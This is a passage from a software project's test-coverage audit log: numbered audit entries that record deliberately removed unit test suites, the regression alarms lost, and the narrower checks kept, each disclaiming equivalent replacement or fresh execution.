copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or 